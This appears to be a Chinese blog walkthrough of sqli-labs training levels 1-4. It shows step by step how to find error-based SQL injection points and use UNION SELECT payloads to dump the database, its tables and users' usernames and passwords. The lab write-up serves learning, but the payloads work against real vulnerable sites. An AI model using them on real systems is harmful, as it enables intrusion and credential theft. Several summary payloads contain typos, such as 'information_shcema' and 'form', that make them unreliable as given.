sqli-labs闯关1-4


  1. 一、第1-2关:基于错误的字符串/数字型注入
  2. 二、第三关
  3. 三、第四关

一、第1-2关:基于错误的字符串/数字型注入

1
2
3
4
5
6
1.?id=1 order by 4 --+
2.?id=-1 union select 1,2,3 --+
3.?id=-1 union select 1,database(),3 --+
4.?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+

第一关在之前学习:联合查询,以及示例因此从第二关开始记录。
其实第一关和第二关差别不大:闭合符合的差别。

判断注入点
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
可以判断为数字型注入
确定属性列数目
使用?id=1 order by 数字 --+不断尝试数字最大值
在这里插入图片描述
可以看到列数最大为三

确定回显属性

1
?id=-1 union select 1,2,3 --+

在这里插入图片描述
回显属性为2,3

查找数据库
在这里插入图片描述
看到数据库名:security

1
?id=-1 union select 1,database(),3 --+

查看表名

1
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述
获取列名

1
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

在这里插入图片描述
获取字段信息

1
?id=-1 union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

在这里插入图片描述

二、第三关

1
2
3
4
5
6
1.?id=1 ') order by 4 --+
2.?id=-1 ') union select 1,2,3 --+
3.?id=-1 ') union select 1,database(),3 --+
4.?id=-1 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 ') union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 ') union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+

本题与之前的题目的区别就在于闭合符号的不同这里使用:')来进行闭合。题目思路大概都差不多着重讲解一下起初如何判断
在这里插入图片描述
在这里插入图片描述
可以看到无论是 and 1=1 --+还是and 1=2 --+ 回显正常

在这里插入图片描述
但是当输入?id=1 ' --+则出现异常因此可以判断为字符类注入
?id=1 ') --+在这里插入图片描述
页面正常这说明:是以 (‘’)的方式闭合字符串的
接下来便与1-2关无大差异,我们来看一下如何解题

确定属性列数目

1
?id=1') order by 4 --+

在这里插入图片描述
判断列数为3

确定回显属性

1
?id=-1') union select 1,2,3 --+

在这里插入图片描述
获取库名

1
?id=-1') union select 1,database(),3 --+

在这里插入图片描述
获取表名

1
?id=-1 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述
获取列名

1
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

在这里插入图片描述
获取字段信息

1
?id=-1' )union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

在这里插入图片描述

三、第四关

1
2
3
4
5
6
1.?id=1 ") order by 4 --+
2.?id=-1 ") union select 1,2,3 --+
3.?id=-1 ") union select 1,database(),3 --+
4.?id=-1 ") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 ") union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 ") union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+

第四关与第三关的区别就在于注入的字符类型在这里是: ("")进行闭合,接下来就开始吧。
判断注入点
大体上与第三关无差,当发现注入类型不是整型注入,进行字符类型判断
当输入?id=1" --+时会发现出现错误在这里插入图片描述
因此使用:?id=1 ")--+进行闭合
在这里插入图片描述
显示正常,接下来开始操作

确定属性列数目

1
?id=1') order by 4 --+

在这里插入图片描述
列数为3

确定回显属性

1
?id=-1 ") union select 1,2,3  --+

在这里插入图片描述
获取库名

1
?id=-1 ") union select 1,database(),3 --+

在这里插入图片描述
库名为:security

获取表名

1
?id=-1 ") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述

获取列名

1
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

在这里插入图片描述
获取字段信息

1
?id=-1 ") union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

在这里插入图片描述

page PV:  ・  site PV:  ・  site UV: